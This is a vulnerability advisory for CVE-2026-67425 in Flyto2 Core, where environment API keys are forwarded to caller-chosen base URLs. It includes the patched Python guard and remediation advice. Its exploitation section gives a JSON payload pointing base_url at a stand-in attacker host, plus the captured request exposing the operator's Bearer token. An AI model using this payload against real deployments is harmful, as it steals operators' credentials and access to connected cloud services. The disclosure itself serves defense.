CVE-2026-67425: Insecure Credential Forwarding in Flyto2 Core

Flyto2 Core acts as an execution engine for automated workflows and AI agents, integrating with different language model platforms and vector databases. To interact with these backends, modules like llm.chat, ai.model, and vector.connector manage communication parameters, including API keys and target URLs.

By default, the engine retrieves system-wide credentials, such as OPENAI_API_KEY or ANTHROPIC_API_KEY, from environment variables when explicit caller credentials are absent. This mechanism was designed to simplify operation by allowing the runner to manage authentication implicitly on behalf of the workflow operator.

To allow integration with internal proxies or alternate interfaces like Ollama or vLLM, callers can provide a custom base_url. However, versions of Flyto2 Core prior to 2.26.6 automatically appended environment-derived system credentials to outgoing requests destined for these caller-specified base URLs, exposing the host system's high-privilege secrets.

The underlying security issue lies in a logical misalignment in how outbound destination control is enforced. The developers recognized the risks of allowing callers to define arbitrary target hosts, and they implemented an SSRF validation guard named validate_url_with_env_config.

However, this SSRF defense was designed specifically to prevent internal host enumeration and metadata access. It blocked requests to loopback addresses, RFC 1918 networks, and metadata endpoints (e.g., 169.254.169.254). It did not restrict outgoing traffic to public, routable internet destinations.

When a caller supplies a public, attacker-controlled host as the base_url, the SSRF validation guard passes the URL as safe. Because the engine does not distinguish between a user-supplied API key and a high-privilege environment-derived API key, it blindly appends the system credential in the Authorization header of the outgoing request to the custom server.

The vulnerability was remediated by enforcing a boundary control that prevents system-level credentials from leaving the application runtime to an untrusted host. The patch introduces assert_env_credential_endpoint_allowed in src/core/utils.py to evaluate whether sending credentials is safe.

Below is the patched credential verification logic implemented in src/core/utils.py:

# src/core/utils.py
 
def _trusted_credential_hosts() -> list:
    """Operator-configured allowlist of hosts an env credential may be sent to.
    FLYTO_TRUSTED_LLM_HOSTS — comma-separated hostnames or fnmatch globs.
    """
    raw = os.environ.get('FLYTO_TRUSTED_LLM_HOSTS', '')
    return [h.strip().lower() for h in raw.split(',') if h.strip()]
 
 
def assert_env_credential_endpoint_allowed(base_url: Optional[str], key_from_env: bool) -> None:
    """Guard against leaking the operator's env-derived API key to an
    attacker-controlled endpoint (GHSA-qq9q-xgm3-xv9g).
    """
    if not key_from_env:
        return
    if not base_url:
        return
    host = (urlparse(base_url).hostname or '').lower()
    for pattern in _trusted_credential_hosts():
        if fnmatch.fnmatch(host, pattern):
            return
    raise CredentialEndpointError(
        "Refusing to send the environment-provided API key to a custom "
        f"endpoint ('{base_url}'). Supply an explicit 'api_key' for custom "
        "endpoints, or add the host to FLYTO_TRUSTED_LLM_HOSTS."
    )

This check is injected into the execution path of the integration modules, such as src/core/modules/atomic/llm/chat.py:

# src/core/modules/atomic/llm/chat.py
 
    # Get API key from environment if not provided
    key_from_env = False
    if not api_key:
        env_vars = {
            'openai': 'OPENAI_API_KEY',
            'anthropic': 'ANTHROPIC_API_KEY',
            'google': 'GOOGLE_AI_API_KEY',
        }
        env_var = env_vars.get(provider)
        if env_var:
            api_key = os.getenv(env_var)
            key_from_env = bool(api_key)
 
    # Enforce safe execution boundary
    try:
        assert_env_credential_endpoint_allowed(base_url, key_from_env)
    except CredentialEndpointError as e:
        return {
            'ok': False,
            'error': str(e),
            'error_code': 'ENV_KEY_UNTRUSTED_ENDPOINT'
        }

This architecture resolves the flaw. User-supplied credentials can still be directed to arbitrary targets, but system-wide keys are restricted to official endpoints or explicit configurations.

To exploit this vulnerability, an attacker must have access to send requests to an exposed Flyto2 execution runner or trigger an automation workflow that accepts input parameters.

The attacker starts by setting up an external HTTP listener on a public, routable IP address or domain under their control, such as https://attacker-controlled-endpoint.com/v1.

The attacker then dispatches a payload requesting execution of the llm.chat or related workflow module, supplying their listener address as the target server, while leaving the API credential fields empty:

{
  "module": "llm.chat",
  "params": {
    "provider": "openai",
    "model": "gpt-4o",
    "base_url": "https://attacker-controlled-endpoint.com/v1",
    "prompt": "Retrieve execution status",
    "api_key": ""
  }
}

During processing, the vulnerable runner resolves the empty api_key parameter to the environment variable OPENAI_API_KEY stored on the host system. Because the target URL does not map to private address spaces, it passes the SSRF filter and executes the outbound query.

The attacker's listener captures the request and extracts the raw, high-privilege credentials directly from the inbound HTTP headers:

POST /chat/completions HTTP/1.1
Host: attacker-controlled-endpoint.com
User-Agent: python-requests/2.31.0
Authorization: Bearer sk-proj-OPERATOR_SECRET_KEY
Content-Type: application/json

The successful exploitation of CVE-2026-67425 results in the compromise of host system API tokens. These keys can control billing capabilities, sensitive customer data, proprietary models, and fine-tuning configurations within connected cloud services.

Because the vulnerability has a CVSS v3.1 rating of 8.6, the scope transition metric (S:C) represents the elevated severity. The vulnerability in the local workflow engine leads directly to the complete exposure of keys and assets residing in external, independent cloud spaces.

While there is currently no active target exploitation reported in automated campaigns, the attack is trivial to coordinate. It does not require code execution inside the sandbox to succeed, relying instead on intended operational features of the kernel.

All deployments running Flyto2 Core must be immediately upgraded to version 2.26.6 or later to integrate the validation checks. This ensures that any environment-derived keys are never forwarded to custom target servers without explicitly declared exceptions.

If you must utilize local proxies or external gateways, define your authorized destinations in the environment using the newly introduced variable:

export FLYTO_TRUSTED_LLM_HOSTS="llm-proxy.internal,*.company.com"

Additionally, apply network egress controls. Ensure that the servers running Flyto2 Core cannot connect to random public endpoints. Restrict outgoing outbound traffic to the strict list of authorized LLM platform APIs at the network firewall layer.